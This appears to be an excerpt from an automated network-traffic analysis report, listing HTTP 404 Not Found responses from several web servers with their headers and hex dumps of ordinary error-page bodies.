Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlserver: Microsoft-IIS/7.5x-powered-by: ASP.NETdate: Wed, 20 Dec 2023 02:13:26 GMTcontent-length: 1635Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 57 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 33 70 74 2f 31 35 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 0d 0a 3c 68 31 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 50 6c 65 61 73 65 20 74 72 79 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 3a 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e 4d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 64 72 65 73 73 20 64 69 73 70 6c 61 79 65 64 20 69 6e 20 74 68 65 20 61 64 64 72 65 73 73 20 62 61 72 20 6f 66 20 79 6f 75 72 20 62 72 6f 77 73 65 72 20 69 73 20 73 70 65 6c 6c 65 64 20 61 6e 64 20 66 6f 72 6d 61 74 74 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 49 66 20 79 6f 75 20 72 65 61 63 68 65 64 20 74 68 69 73 20 70 61 67 65 20 62 79 20 63 6c 69 63 6b 69 6e 67 20 61 20 6c 69 6e 6b 2c 20 63 6f 6e 74 61 63 74 0d 0a 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 74 6f 20 61 6c 65 72 74 20 74 68 65 6d 20 74 68 61 74 20 74 68 65 20 6c 69 6e 6b 20 69 73 20 69 6e 63 6f 72 72 65 63 74 6c 79 20 66 6f 72 6d 61 74 74 65 64 2e 0d 0a 3c 2f 6c 69 3e 0d 0a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.2.34content-type: text/html; charset=UTF-8expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-transform, no-cache, must-revalidate, max-age=0link: <http://www.mgbymags.com/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encoding,User-Agentdate: Wed, 20 Dec 2023 02:13:27 GMTserver: LiteSpeedData Raw: 32 37 33 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d eb 92 db 36 d2 e8 6f 4d d5 be 03 4c 97 67 46 89 78 93 34 17 6b 46 ca da ce e5 f3 f7 c5 8e 37 8e 37 b5 15 bb 54 10 09 49 18 53 04 43 80 a3 99 cf 99 53 e7 35 ce bf f3 2c e7 51 ce 93 9c 6a 5c 48 50 b7 d1 8c 65 c7 d9 3a f6 6e 2c 02 44 a3 d1 68 34 ba 1b e8 e6 f9 83 98 45 e2 3a 23 68 2a 66 c9 60 ef 1c fe 41 09 4e 27 7d 87 a4 ee 0f 4f 1d 28 23 38 1e ec 9d cf 88 c0 28 9a e2 9c 13 d1 77 de fc f2 bd 7b 0a b5 b2 38 c5 33 d2 77 2e 29 99 67 2c 17 0e 8a 58 2a 48 2a fa ce 9c c6 62 da 8f c9 25 8d 88 2b 1f 5a 88 a6 54 50 9c b8 3c c2 09 e9 87 2d 34 c3 57 74 56 cc 74 41 db 0b 00 6e 42 d3 f7 28 27 49 df c9 72 36 a6 09 71 d0 34 27 e3 be 33 15 22 eb f9 fe 64 96 4d 3c 96 4f fc ab 71 ea 87 e1 42 13 9a 4e 46 38 7a bf d0 66 3e 9f 7b b3 c9 e8 7a 86 27 dc 8b d8 cc bf 9a 25 79 16 79 d9 34 73 06 7b 7b e7 82 8a 84 0c 5e e1 09 41 29 13 68 cc 8a 34 46 fb 0f 4f db 61 78 86 5e fc f0 f4 5f 2f 9e fc f0 da 7b f6 d3 0b f4 d3 f7 df 3f 7f f6 fc c9 8f e8 0f 44 ae a2 a4 e0 f4 92 a0 84 60 31 25 39 1a e1 09 3f f7 15 30 6b 20 07 71 ca dd 2c 27 63 22 a2 e9 81 1a cd 81 ef 8f 59 2a b8 37 61 6c 92 10 9c 51 89 d8 01 f2 6d 12 ac 69 c9 bd 39 50 60 e1 65 07 27 82 e4 29 16 c4 41 30 b5 7d 07 67 59 42 23 2c 28 4b fd 9c f3 af af 66 89 83 24 7a 7d e7 6e a3 42 fb 39 fe bd 60 67 e8 7b 42 e2 db 88 3b 26 24 f6 9d fa 48 3e 0b 72 cf d8 6c 46 52 c1 b7 c2 32 d2 2f fb 15 ba 8d c6 39 8f 72 9a 09 4d 3f 41 ae 84 7f 81 2f b1 2a 75 06 7b 8d 46 63 4e d3 98 cd bd e1 3c 23 33 76 41 5f 13 21 68 3a e1 a8 8f 3e 38 23 cc c9 9b 3c 71 7a 92 59 79 ef ad ff d6 d7 93 f5 d6 a7 33 3c 21 fc ad 1f b1 9c bc f5 65 e3 b7 7e d8 f6 02 2f 70 c3 b7 fe 49 fb ea a4 fd d6 77 5a 0e b9 12 4e cf f1 b2 74 e2 b4 1c 7e 39 b9 2f 44 7e 39 91 f0 f8 e5 e4 3b 05 92 5f 4a 90 ac c8 23 e2 f4 3e 38 11 4b 23 2c 24 2a 1a 67 89 f2 e2 72 79 eb cf 33 97 a6 51 52 c4 30 80 0b 2e 0b 64 33 37 27 09 c1 9c 78 33 9a 7a 17 fc 9b 4b 92 f7 8f bc b6 17 9e 3a 37 37 67 40 af 07 e3 22 8d 80 05 0f 49 0b b7 44 f3 c3 25 ce 51 da ca 5b ac 45 fb d8 8b 72 82 05 f9 2e 21 30 73 87 4e 84 d3 4b cc 9d 66 2b eb 53 6f 42 c4 33 10 28 57 62 7f df 7e 3a 74 da b1 d3 3c 33 80 11 3f 24 06 30 ee bf 16 39 4d 27 de 38 67 b3 67 53 9c 3f 63 31 39 cb bc 28 21 38 ff 99 44 e2 30 68 05 2d ea 29 91 44 bd 29 a1 93 a9 68 b6 32 6f 4c 93 e4 17 72 25 0e b1 07 eb e6 fa 50 4c 29 6f 91 66 2b 68 05 cd 33 d2 a7 9e 60 df 62 81 df fc fc e3 61 f3 2c 27 a2 c8 53 74 7f c0 42 01 6e 91 7e bf 0e fa a6 1c 56 74 48 14 b5 c4 32 9d 34 47 36 cf 84 Data Ascii: 2731}6oMLgFx4kF7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:27 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Content-Language: enData Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 30 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 38 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 3e 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidateContent-Length: 77562Content-Type: text/html; charset=UTF-8Date: Wed, 20 Dec 2023 02:13:27 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: cHE7HR3w/7CoRQqozData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:27 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveCache-Control: privateSet-Cookie: ARRAffinity=3adacca6c2f81875efead5591d2a8d02faa6e8843c1dd1a10e8da178ce234c0c;Path=/;HttpOnly;Domain=micresearch.netX-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wJG%2FKh15LcXQGQ0ED0o%2FAIQEjJtdw674EhUpyRdFNFmW60acXYffafTbYcGmd5s5i20Y%2FnPm4r%2BSiB5BJTBosWVD2hbqztJalCLB0kkACGDLivzKEpxp9rw2TYiLGE%2BfqJM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845dbb690202dc-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 36 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 c8 c1 0d 84 30 0c 04 c0 56 b6 00 74 d5 d0 c0 02 0b b1 2e b1 91 43 90 e8 1e 31 cf 99 8b 90 ea 31 72 15 9e 18 60 0a 35 e2 6f 7e 60 8f 44 61 c7 22 39 52 2d 6e 6d 13 0a 37 d8 d5 e1 6c c2 5a e8 c7 b7 91 b0 8e 4b ed 8c 64 5a 7d 30 9c 37 ad 72 a9 fa bd 00 00 00 ff ff 03 00 67 a8 2a 4b 67 00 00 00 0d 0a Data Ascii: 6c0Vt.C11r`5o~`Da"9R-nm7lZKdZ}07rg*Kg
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:27 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:27 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-181.ec2.internalX-Request-Id: 6dea1b62-63fc-4b78-bdb5-1815143e0145Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:27 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 196Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:27 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-104.ec2.internalX-Request-Id: bac956a7-56d0-4f27-8fdf-67a4f3d146deData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidate, max-age=0Content-Type: text/html; charset=UTF-8Expires: Wed, 11 Jan 1984 05:00:00 GMTServer: Microsoft-IIS/10.0X-Powered-By: PHP/7.4.2Link: <https://www.tgcan.co.uk/wp-json/>; rel="https://api.w.org/"X-Powered-By: ASP.NETDate: Wed, 20 Dec 2023 02:13:27 GMTContent-Length: 41957Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 61 76 61 64 61 2d 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 77 69 64 65 20 61 76 61 64 61 2d 68 74 6d 6c 2d 68 65 61 64 65 72 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 27 20 